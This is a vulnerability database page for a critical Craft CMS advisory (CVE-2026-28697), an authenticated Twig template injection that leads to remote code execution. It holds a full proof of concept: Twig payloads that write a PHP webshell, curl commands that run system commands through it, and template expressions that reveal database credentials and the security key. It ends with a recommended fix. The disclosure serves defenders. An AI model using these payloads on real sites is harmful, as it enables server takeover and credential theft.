GHSA-V47Q-JXVR-P68X
Vulnerability from github – Published: 2026-03-03 21:00 – Updated: 2026-03-04 18:39Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
Proof of Concept
Attack Prerequisites
- Authenticated administrator account with
allowAdminChangesenabled, or access to the System Messages utility
Steps to Reproduce
- Navigate to Utilities → System Messages (
/admin/utilities/system-messages) - Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- Note: Replace the filesystem handle (e.g.,
hardDisk) with a valid handle configured in the target installation.twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Note: Replace the filesystem handle (e.g.,
- To exploit it by writing to a volume:
- Note: Replace the volume handle (e.g.,
images) with a valid handle configured in the target installation.twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Note: Replace the volume handle (e.g.,
- To exploit it by writing to a file system:
- Save & go to Settings → Email (
/admin/settings/email) - Click "Test" at the bottom of the page to trigger template rendering
- The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
Note: The path might be different on your end depending on the filesystem or volume configuration.
bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.
{{ craft.app.config.general.securityKey }}
Recommended Fix
- Add Twig sandbox rules to block
write,writeFileFromStream,deleteFile, and similar destructive methods - Consider allowlist approach for
craft.appproperties accessible in templates rather than exposing the entire application
Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28697"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T21:00:16Z",
"nvd_published_at": "2026-03-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nAn authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.\n\n---\n## Proof of Concept\n\n### Attack Prerequisites\n\n- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility\n\n### Steps to Reproduce\n\n1. Navigate to **Utilities \u2192 System Messages** (`/admin/utilities/system-messages`)\n2. Edit any email template (e.g., \"Test Email\") and inject the following in the body (or the Subject):\n\t- To exploit it by writing to a file system:\n\t\t- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.fs.getFilesystemByHandle(\u0027hardDisk\u0027).write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t- To exploit it by writing to a volume:\n\t\t- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.volumes.getVolumeByHandle(\u0027images\u0027).fs.write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t\u003cimg width=\"982\" height=\"901\" alt=\"payload-injection\" src=\"https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e\" /\u003e\n3. Save \u0026 go to **Settings \u2192 Email** (`/admin/settings/email`)\n4. Click **\"Test\"** at the bottom of the page to trigger template rendering\n5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:\n\t**Note:** The path might be different on your end depending on the filesystem or volume configuration.\n\t```bash\n\t# For Filesystem\n\tcurl \"http://target.com/uploads/shell.php?c=id\"\n\t# For Volume\n\tcurl \"http://target.com/uploads/images/shell.php?c=id\"\n\t# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\t```\n\t\u003cimg width=\"791\" height=\"440\" alt=\"rce-poc\" src=\"https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4\" /\u003e\n\n---\n## Additional Impact\n\nThe same `craft.app` exposure without any security measures enables additional attack vectors:\n\n### Database Credential Disclosure\n\nDatabase credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.\n\n```twig\n{{ craft.app.db.username }}\n{{ craft.app.db.password }}\n{{ craft.app.db.dsn }}\n```\n\n### Security Key Disclosure\n\nCraft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.\n```twig\n{{ craft.app.config.general.securityKey }}\n```\n## Recommended Fix\n- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods\n- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197\nhttps://github.com/craftcms/cms/pull/18219\nhttps://github.com/craftcms/cms/pull/18216",
"id": "GHSA-v47q-jxvr-p68x",
"modified": "2026-03-04T18:39:01Z",
"published": "2026-03-03T21:00:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28697"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18216"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18219"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Vulnerable to Authenticated RCE via \"craft.app.fs.write()\" in Twig Templates"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.